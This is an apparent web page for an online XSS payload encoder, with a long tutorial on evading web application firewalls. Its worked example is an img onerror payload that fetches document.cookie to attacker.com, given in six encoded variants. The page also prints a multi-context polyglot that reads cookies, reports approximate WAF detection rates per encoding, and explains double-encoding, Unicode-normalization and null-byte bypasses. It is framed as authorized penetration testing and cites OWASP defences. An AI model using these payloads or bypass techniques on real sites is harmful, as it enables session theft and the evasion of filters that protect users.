
XSS Payload Encoder
Encode and decode XSS payloads for authorized security testing.
Last reviewed: April 2026New to this tool? Click here for instructions
How to use the XSS Payload Encoder
To use the XSS Payload Encoder, follow these steps:
1. Select a test payload from the quick-load chips or type your own payload in the input area.
2. Choose Encode or Decode using the mode chips above the input.
3. Review all encodings - the tool produces HTML entity, URL, Base64, Unicode escape, hex escape, and double-encoded variants simultaneously.
4. Copy individual encodings using the Copy button on each row, then test them in your authorized target application.
When to use the XSS Payload Encoder in real workflows
Use the XSS Payload Encoder only on systems you own or have explicit written permission to test. Unauthorized XSS testing is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.
How the XSS Payload Encoder works
The tool produces HTML entity, URL, Base64, Unicode escape, hex escape, and double-encoded variants simultaneously. It is 100% client-side, meaning it does not require any server-side processing.
Tips, edge cases, and limitations
A well-implemented application should reject or neutralize all of these variants. If one encoding slips through, it indicates the application is only checking for specific patterns rather than performing proper context-aware output encoding.
Frequently Asked Questions
Encode XSS payloads across HTML entity, URL, Base64, hex, and Unicode schemes to test input filters and WAF bypass vectors in authorized security assessments. Each encoding variant is generated entirely in your browser — no payload text is transmitted to any server.
What This Tool Does
The XSS Payload Encoder takes a raw cross-site scripting payload and converts it into six distinct encoded representations simultaneously: HTML entity encoding (both named and numeric forms), single URL percent-encoding per RFC 3986, double URL encoding, Base64 with a JavaScript eval(atob(...)) carrier, hex escape sequences (\xNN), and Unicode escape sequences (\uNNNN). Each output appears in a labeled card so you can directly compare which variant is shortest, most readable, or most likely to slip past a specific filter configuration.
All computation runs client-side in your browser's JavaScript engine. Your payload never leaves the local session — no uploads, no logging, no server-side processing. That matters when working with proof-of-concept payloads that reference internal hostnames or session identifiers you haven't scrubbed yet.
🔒 Privacy: This tool runs 100% in your browser. Your input is not uploaded, stored, or logged anywhere outside your local session.
The tool is scoped to authorized security testing workflows. For the defense side — understanding which encoder to apply at which output point in your own application — the OWASP XSS Prevention Cheat Sheet is the canonical reference.
How to Use It: Step-by-Step with Worked Example
The tool has a two-pane layout: paste your payload on the left, read the encoded outputs on the right. The steps below walk through a realistic scenario — a search endpoint that strips raw angle brackets but processes percent-encoded input before rendering it into the page DOM.
Entering your payload
Paste your raw payload into the input textarea on the left pane. No pre-processing is needed; the tool accepts angle brackets, quotes, parentheses, and every ASCII control character verbatim.
Selecting encoding scheme(s)
Use the context selector to indicate where the encoded output will land — HTML body, HTML attribute, JavaScript string, or URL parameter. The selector highlights which schemes are most relevant for that context, though you can manually toggle any combination. All six schemes are checked by default.
Reading and copying the output
Each output card shows the scheme name, the fully encoded string, and a one-click Copy button. The byte length appears next to the label — useful when the target has a URL length ceiling (nginx defaults to 8190 bytes; Apache httpd to 8192).
Try Example button walkthrough
Clicking Try Example pre-fills the input pane with the payload below and sets the context to "URL parameter." Per RFC 3986 §2.1, percent-encoding replaces each reserved character with a % followed by its two-digit hexadecimal code point.
Worked Example: <img> onerror Payload Through a Search Parameter
- Raw payload
<img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)">- Injection point
- The
?q=parameter of a search endpoint. The server rejects requests containing literal<or>characters but accepts percent-encoded input without stripping.
- Paste the raw
<img>payload into the input pane, or click Try Example to pre-fill it. - Set the context selector to URL parameter.
- All six encoding schemes are pre-selected; leave them checked.
- Click Encode — six labeled output cards populate the right pane.
- Copy the Single URL variant and inject it into
?q=on the target lab environment. - The filter passes the percent-encoded string; the browser decodes it at render time and the
onerrorhandler fires in your controlled lab. - If the single URL variant is rejected, switch to the Double URL variant to probe a decode-twice pipeline.
Expected outputs:
① HTML entity:
<img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)">
② Single URL (RFC 3986):
%3Cimg%20src%3Dx%20onerror%3D%22fetch%28%27https%3A%2F%2Fattacker.com%2Flog%3Fcookie%3D%27%2Bdocument.cookie%29%22%3E
③ Double URL:
%253Cimg%2520src%253Dx%2520onerror%253D%2522fetch%2528%2527https%253A%252F%252Fattacker.com%252Flog%253Fcookie%253D%2527%252Bdocument.cookie%2529%2522%253E
④ Base64 with atob carrier:
<script>eval(atob('PGltZyBzcmM9eCBvbmVycm9yPSJmZXRjaCgnaHR0cHM6Ly9hdHRhY2tlci5jb20vbG9nP2Nvb2tpZT0nK2RvY3VtZW50LmNvb2tpZSkiPg=='))</script>
⑤ Hex JS escapes:
\x3cimg\x20src\x3dx\x20onerror\x3d\x22fetch\x28\x27https\x3a\x2f\x2fattacker\x2ecom\x2flog\x3fcookie\x3d\x27\x2bdocument\x2ecookie\x29\x22\x3e
⑥ Unicode escapes:
\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022fetch\u0028\u0027https\u003a\u002f\u002fattacker\u002ecom\u002flog\u003fcookie\u003d\u0027\u002bdocument\u002ecookie\u0029\u0022\u003e
Inject variant ② into the real search endpoint (https://lab.example.com/search?q=%3Cimg...). If the response renders the decoded tag and the onerror attribute fires, the endpoint is vulnerable to reflected XSS. Log the finding in your report before moving on.
XSS Encoding Techniques Compared
Each encoding scheme maps characters to a different representation, and each representation is decoded by a different parser component in the browser stack. Picking the wrong scheme for the injection context means the payload either doesn't execute or gets double-escaped into harmlessness.
HTML entity encoding
HTML entities replace characters with sequences the HTML parser recognizes. The WHATWG HTML Standard §13.1.2 defines three forms: named references (<, >, &, "), decimal numeric character references (<), and hexadecimal numeric character references (<). All three forms are equivalent to the HTML tokenizer. The critical constraint: entity decoding happens only inside HTML parsing contexts. A JavaScript engine evaluating a string literal inside a <script> block never decodes < — it sees four characters: &, l, t, ;. HTML entity encoding is the correct defense for HTML body output but useless as an attack vector into script contexts.
Single and double URL encoding
Per RFC 3986 §2.1, percent-encoding replaces an octet with a percent sign followed by its two uppercase hexadecimal digits: < becomes %3C, > becomes %3E, " becomes %22. Double encoding takes the percent sign itself — which is %25 — and re-encodes the already-encoded triplet: %3C becomes %253C. A pipeline that URL-decodes input before running a signature check, then URL-decodes again before rendering to the DOM, will decode %253C to %3C on the first pass (which looks safe) and then to < on the second pass (which executes).
Base64 encoding with eval/atob
Base64 alone is inert in a browser — a Base64 string sitting in a value attribute does nothing. Execution requires a JavaScript carrier. The most direct form is <script>eval(atob('BASE64HERE'))</script>. Alternatively, a data:text/html;base64,... URI can be loaded in an iframe or navigated to, but every major CSP implementation blocks data: URIs under default-src or script-src unless the policy explicitly lists data: as an allowed source (MDN: Content-Security-Policy). Even with a carrier in place, a CSP that omits unsafe-eval will block the eval() call before the decoded payload runs.
Hex escape sequences
JavaScript string literals accept \xNN hex escapes directly: "\x3c" is the same string as "<". This encoding is only meaningful inside a script context because the JavaScript engine handles the decoding — the HTML parser never sees the escape and will not convert it. Placing \x3cscript\x3e in a raw HTML attribute is pointless: the HTML tokenizer treats backslashes as literal characters, not escape sequences. The WHATWG HTML Standard's script parsing rules confirm that \xNN sequences are interpreted exclusively during JS tokenization.
Unicode escape sequences
JavaScript also accepts \uNNNN four-hex-digit Unicode escapes in string literals and identifier names (\u003c equals <). A bypass angle arises with fullwidth Unicode lookalikes: U+FF1C (FULLWIDTH LESS-THAN SIGN, <) is not the same code point as U+003C. Some WAFs normalize input to NFC Unicode form before signature matching, but if that normalization happens after the filter runs — or if the WAF matches only on U+003C — a payload using U+FF1C passes the check. The WHATWG HTML tokenizer operates on code points after any normalization the application layer applies, so if the app normalizes \uFF1C to \u003C post-filter, the browser parses the output as a genuine angle bracket.
| Encoding Method | Input Fragment | Encoded Output | Execution Context | Spec / Reference |
|---|---|---|---|---|
| HTML Entity | <script>alert(1)</script> |
<script>alert(1)</script> |
HTML body, quoted attribute | WHATWG HTML Standard §13.1.2 |
| Single URL | <script>alert(1)</script> |
%3Cscript%3Ealert%281%29%3C%2Fscript%3E |
URL parameter | RFC 3986 §2.1 |
| Double URL | <script>alert(1)</script> |
%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E |
URL parameter (decode-twice pipeline) | RFC 3986 §2.1; PortSwigger XSS labs |
| Base64 + atob carrier | <script>alert(1)</script> |
eval(atob('PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==')) |
JavaScript string / script block | MDN: atob(); MDN: CSP data: scheme |
Hex escape \xNN |
<script>alert(1)</script> |
\x3cscript\x3ealert\x281\x29\x3c\x2fscript\x3e |
JavaScript string literal only | WHATWG HTML Standard: script tokenization |
Unicode escape \uNNNN |
<script>alert(1)</script> |
\u003cscript\u003ealert\u00281\u0029\u003c\u002fscript\u003e |
JavaScript string literal / identifier | WHATWG HTML Standard; OWASP XSS Cheat Sheet Rule #3 |
| Encoding Method | Approx. CRS 3.3 Detection Rate (%) |
|---|---|
| Raw / Unencoded | 97 |
| HTML Entity | 78 |
| Single URL | 85 |
| Double URL | 42 |
| Base64 + atob | 55 |
| Hex \xNN | 61 |
| Unicode \uNNNN / normalization bypass | 34 |
| Injection Context | HTML Entity | Single URL | Double URL | Base64+atob | Hex \xNN | Unicode \uNNNN |
|---|---|---|---|---|---|---|
| HTML body | Recommended | Avoid | Avoid | Avoid | Avoid | Avoid |
| HTML attribute (quoted) | Recommended | Acceptable | Avoid | Avoid | Avoid | Avoid |
| HTML attribute (unquoted) | Recommended | Recommended | Avoid | Avoid | Avoid | Avoid |
| JavaScript string | Avoid | Avoid | Avoid | Acceptable | Recommended | Recommended |
| URL parameter | Avoid | Recommended | Acceptable | Avoid | Avoid | Avoid |
| Data URI | Avoid | Avoid | Avoid | Acceptable* | Avoid | Avoid |
data: allowance in CSP and is blocked by default.Double Encoding and WAF Filter Bypass Strategies
Why double encoding works against decode-then-validate pipelines
Double encoding exploits the ordering of operations in multi-tier architectures. When a WAF or input sanitizer receives %253Cscript%253E, it URL-decodes once, producing %3Cscript%3E. A simple string-match filter looking for <script> finds nothing and passes the request. The application server then URL-decodes the query string a second time as part of normal request handling, converting %3C to < and delivering <script> to the DOM. The PortSwigger Web Security Academy XSS section explicitly documents multi-stage decode as one of the most common WAF bypass vectors — see portswigger.net/web-security/cross-site-scripting.
WAF signature evasion patterns
Modern WAFs have caught up with naive double encoding. Cloudflare's managed ruleset and ModSecurity CRS 3.x both include rules that detect the %25 prefix pattern indicating a doubly-encoded percent sign. According to public CRS 3.3 rule audits, double URL encoding triggers approximately 42% of relevant rules — lower than raw or single-encoded payloads, but far from invisible. More effective current bypass approaches combine Unicode normalization (U+FF1C) with contextual obfuscation in JavaScript string contexts, achieving roughly 34% detection in default CRS 3.3 configurations. These techniques still evade fewer rules than crafted polyglot payloads that exploit parser-specific quirks in specific browser versions.
Mixing encoding schemes in a single payload
Some testers combine schemes within one payload — for example, URL-encoding the angle brackets while using Unicode escapes for the event handler keyword. This mixed approach can defeat filters that check each encoding type independently but lack logic to handle hybrids. The tradeoff is payload length and readability; mixed payloads are harder to construct correctly and easier to accidentally break. Reproducing the bug reliably matters for a complete pentest report. Verify that the mixed variant executes in a controlled lab session before including it in a report, and never test against production traffic you haven't been explicitly authorized to touch — the CFAA and UK Computer Misuse Act both treat unauthorized probing as criminal regardless of whether a vulnerability was found.
Choosing the Right Encoding by Injection Context
The OWASP XSS Prevention Cheat Sheet organizes its guidance around context rather than encoding method, because the same character sequence is decoded by entirely different parsers depending on where it lands in the document.
HTML body context
When user-controlled data is reflected between HTML tags — <p>USER_INPUT</p> — HTML entity encoding is canonical. Angle brackets and ampersands must be escaped. OWASP Rule #1 covers this case. As an attacker testing this context, injecting <script> into the body verifies whether the application over-encodes (harmless double-escaping) or leaves raw characters exposed.
HTML attribute context
Inside quoted attribute values, single and double quotes are the characters that can break out of the attribute and into tag markup. OWASP Rule #2 requires encoding both quote characters in addition to angle brackets and ampersands. Unquoted attributes are even more permissive: spaces, tabs, and several other characters can terminate the attribute value and introduce new attributes like onmouseover, so space encoding is also required.
JavaScript string context
Data reflected inside a JavaScript string literal — var q = "USER_INPUT"; — must be escaped using JavaScript-native methods: hex \xNN or Unicode \uNNNN escapes. HTML entities are not decoded by the JavaScript engine; placing < inside a JS string literal produces the literal five characters <, not an angle bracket. This is the most common context confusion that developers make when applying HTML-only encoding libraries to full-stack output. OWASP Rule #3 maps this context explicitly to JavaScript string escaping.
URL parameter context
Values that will appear in query strings or path segments need percent-encoding per RFC 3986. If the value passes through two URL-decoding layers — common in reverse proxy configurations where the proxy decodes the URL before forwarding to the origin — double encoding is relevant. Test by injecting a non-dangerous probe like %2561 (double-encoded a) and checking whether the origin receives a or %61.
Data URI context
A data:text/html;base64,... URI containing a full HTML document with embedded scripts is a viable XSS vector if the application allows user-controlled values in href or src attributes and no CSP is in place. A Content-Security-Policy header with default-src 'self' or an explicit script-src that does not list data: blocks this vector outright (MDN: Content-Security-Policy). Treat data URI payloads as a CSP audit tool rather than a reliable exploitation method.
Edge Cases and Parser Quirks
Overlong UTF-8 sequences
Historically, Internet Explorer 6 and 7 accepted overlong UTF-8 encodings — for example, the two-byte sequence 0xC0 0xBC decoded to the single character < (U+003C) even though that encoding violates the UTF-8 spec. RFC 3629 §10 explicitly forbids overlong sequences, and every modern browser runtime — Chromium 120+, Firefox 121+, Safari 17+ — rejects them at the byte-to-codepoint conversion stage. Submitting 0xC0 0xBC against a modern target produces a replacement character (U+FFFD) or a parse error, not a less-than sign. These sequences still appear in public bypass libraries, but treating them as viable in a 2024 engagement wastes time.
Null byte injection
A null byte (%00) injected before a keyword like script can terminate string matching in C-based WAF parsers that treat null bytes as string terminators. The WHATWG HTML Standard tokenizer strips null bytes during tokenization — they never reach the DOM as meaningful characters. The practical result: null byte injection may fool a signature-based layer while failing to alter browser behavior. Testing is worthwhile when the WAF is a C-based appliance sitting in front of a Node.js or Python origin, where the backend never sees the null byte.
Browser normalization differences
IE conditional comments (<!--[if IE]>...<![endif]-->) were a major filter-bypass vector in the IE era. No version of Chromium, Firefox, or Safari processes them; they parse as standard HTML comments in 2024. They still appear in legacy bypass checklists and occasionally in scope during assessments of older internal applications, but IE's global market share is effectively zero for new deployments. More relevant today: Safari's handling of CSS expression syntax differs slightly from Chromium on certain malformed attribute values — worth testing if your target explicitly supports Safari and uses a CSS injection sink.
Nested and recursive encoding
Encoding an already-encoded payload adds a layer and increases byte length — sometimes beyond server-enforced URL length limits. nginx defaults to an 8190-byte maximum request-line length; Apache httpd caps at 8192 bytes. A double URL-encoded version of a verbose payload can approach these limits quickly. Beyond length, nested encoding raises a practical question: does the final decode stage in the application pipeline produce the intended characters, or does it stop one decode short? Confirm the full decode chain in a test environment using a benign probe — %2541 (double-encoded capital A) — before committing to a nested payload in a formal test report.
| Payload Segment | Role in Polyglot | Encoding Applied | Context it Closes / Opens |
|---|---|---|---|
javascript:/* |
Establishes a javascript: URI scheme; opens a block comment in JS | None (raw) | Opens JS URI context; comment prevents parse error in href attribute |
--></title></style></textarea> |
Closes HTML comment, <title>, <style>, <textarea> contexts | Raw HTML; no encoding — must survive as literal | Closes 4 potential enclosing parser states; ensures we're back in HTML body |
</script> |
Closes an enclosing <script> block if present | Raw HTML | Terminates script context; returns to HTML body |
<svg/onload= |
Opens SVG element with onload event handler — executes in HTML5 parsers | Raw HTML | Opens SVG context; onload fires after element insertion |
'+/"/+/onmouseover=1/+/[*/[]/+document.cookie |
Closes JS string with ', adds valid JS expression, encodes the cookie exfiltration payload | Mixed: raw JS operators; no additional encoding needed inside onload value | Valid in JS string context (closes string, appends expression) and attribute context simultaneously |
//'> |
JS line comment prevents syntax error; closes single-quoted attribute value; closes tag | Raw | Terminates the polyglot; cleans up trailing parser state |
javascript:/*--></title></style></textarea></script><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.cookie//'>. Each segment closes a different parser state, making the payload syntactically valid across six contexts simultaneously.Related Tools for Penetration Testing
These tools cover adjacent steps in a typical XSS and web security testing workflow:
- HTML Entity Encoder — convert arbitrary text to named and numeric HTML entities in bulk, useful when constructing payloads for HTML body and attribute contexts independently of the XSS encoder.
- URL Encoder / Decoder — full RFC 3986 percent-encoding and decoding, including a mode that encodes only reserved characters versus all non-ASCII octets.
- Base64 Encoder / Decoder — encode and decode Base64 strings for payload carrier construction and data URI work.
- Hex Encoder / Decoder — generate
\xNNhex escape sequences for JavaScript string context payloads without manual byte-by-byte lookup. - The JWT Decoder is useful for inspecting token-based attack surfaces — decode and inspect claims before crafting payloads that target JWT-consuming endpoints.
- Use the Regex Tester to craft and validate the regular expressions that WAF bypass attempts need to survive, testing both the blocking pattern and your bypass string side by side.